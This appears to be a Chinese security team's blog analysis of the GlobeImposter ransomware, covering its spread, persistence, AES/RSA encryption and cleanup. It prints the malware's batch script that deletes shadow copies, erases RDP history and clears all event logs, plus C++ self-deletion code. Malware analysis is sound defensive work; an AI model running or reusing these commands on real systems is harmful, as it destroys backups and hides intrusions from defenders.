1、前言
GlobeImposter是一款2018~2019年比较活跃的勒索病毒,它的体积很小,没有网络通信行为。和wannacry一样没有对抗行为,属于比较老的勒索病毒了,适合新手入门分析。
1.1、介绍
Global勒索病毒于2017年5月首次出现,主要通过钓鱼邮件进行传播。2018年8月21日起,多地发生GlobeImposter勒索病毒事件,攻击目标主要是开启远程控制的服务器、攻击者暴力破解服务器密码,对内网服务器发起扫描并人工投放勒索病毒,导致文件被加密,暂时无法解密。GlobeImposter勒索病毒勒索信如下图所示:
1.2、病毒特性:
-
常见后缀:auchentoshan、动物名+4444。 -
传播方法:RDP暴力破解、钓鱼邮件、捆绑软件等等。 -
特征:在%appdata%或%localappdata%文件夹下释放。
1.3、逻辑分析:
-
解密RSA公钥、后缀名和勒索文件。 -
持久化驻留,拷贝到%appdata%目录,添加自启动项。 -
遍历磁盘,创建线程循环加密所有文件,并在所有文件夹内拷贝一份勒索信。 -
释放脚本temp.bat,删除远程桌面连接信息文件,删除日志信息。 -
启动自删除。
详细分析:
一、预处理进行五次解密分别释放需要的文件
-
第一次解密:释放RSA公钥 -
第二次解密:释放加密文件后缀名和勒索文件名 -
第三次解密:释放加密文件后缀名和勒索文件名 -
第四次解密:为了确保程序的正常运行,解密不能勒索加密的文件路径名 -
第五次解密:释放加密文件后缀名和路径
二、持久化驻留
持久化驻留行为,将文件拷贝到appdata/local目录下,并创建SoftwareMicrosoftWindowsCurrentVersionRunOnce注册表项。由于是勒索病毒,所以目的方面和木马不同。不是为了长时间驻留,窃取情报,而是防止病毒未启动,在新的一次开机时,进行启动。
三、遍历文件夹、加密文件
遍历磁盘和文件夹,创建线程使用AES进行加密。
四、勒索病毒加密过程
使用AES算法,对文件进行循环加密。如果该目录文件已经加密完成,写入勒索信。
使用RSA加密AES密钥,然后将密钥写入文件。然后对文件进行AES加密,将加密后的文件内容,写入该文件。
五、自删除行为
通过释放并运行文件temp.bat,删除远程桌面连接信息文件default.rdp,并通过wevtutil.exe命令,删除日志信息。
@echo off
vssadmin.exe Delete Shadows /All /Quiet
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientDefault" /va /f
reg delete "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /f
reg add "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
cd %userprofile%documents
attrib Default.rdp -s -h
del Default.rdp
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
六、程序自杀
执行 COMSPEC /c del szPath > nul 自杀程序。
测试程序如下述代码所示:
#include <windows.h>
#include <Shlobj.h>
#include <iostream>
using namespace std;
int main()
{
SHELLEXECUTEINFO sei;
TCHAR szModule[MAX_PATH], szComspec[MAX_PATH], szParams[MAX_PATH];
//获取文件路径名。
if ((GetModuleFileName(0, szModule, MAX_PATH) != 0) &&
(GetEnvironmentVariable("COMSPEC", szComspec, MAX_PATH) != 0))
{
//设置命令行参数。
lstrcpy(szParams, "/c del ");
lstrcat(szParams, szModule);
lstrcat(szParams, " > nul");
//初始化SHELLEXECUTEINFO结构成员
sei.cbSize = sizeof(sei); //设置类型大小。
sei.hwnd = 0; //命令窗口进程句柄,ShellExecuteEx函数执行时设置。
sei.lpVerb = "Open"; //执行动作为“打开执行”。
sei.lpFile = szComspec; //执行程序文件全路径名称。
sei.lpParameters = szParams; //执行参数。
sei.lpDirectory = 0;
sei.nShow = SW_HIDE; //显示方式,此处使用隐藏方式阻止出现命令窗口界面。
sei.fMask = SEE_MASK_NOCLOSEPROCESS; //设置为SellExecuteEx函数结束后进程退出。
//创建执行命令窗口进程。
if (ShellExecuteEx(&sei))
{
//设置命令行进程的执行级别为空闲执行,这使本程序有足够的时间从内存中退出。
SetPriorityClass(sei.hProcess, IDLE_PRIORITY_CLASS);
//设置本程序进程的执行级别为实时执行,这本程序马上获取CPU执行权,快速退出。
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
//通知Windows资源浏览器,本程序文件已经被删除。
SHChangeNotify(SHCNE_DELETE, SHCNF_PATH, szModule, 0);
//执行退出程序。
exit(0);
}
}
return 0;
}
总结:
此勒索病毒样本逻辑清晰,易于分析。由于该程序加密程序无明显错误,所以想要解密需要硬刚RSA解密。RSA的公钥为4096位。位数超过了工程师能够破解的极限,想要获取私钥,需要密码学家的进一步支持。
MD5:
C120F323C78D046C991F0EFE45F3819C
Reference:
-
[1] 《网络安全应急响应——技术实战指南》 -
[2] https://blog.csdn.net/weixin_30566111/article/details/95912042 -
[3] https://it.rising.com.cn/fanglesuo/19531.html -
[4] https://www.freebuf.com/articles/system/163792.html
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):GlobeImposter病毒分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论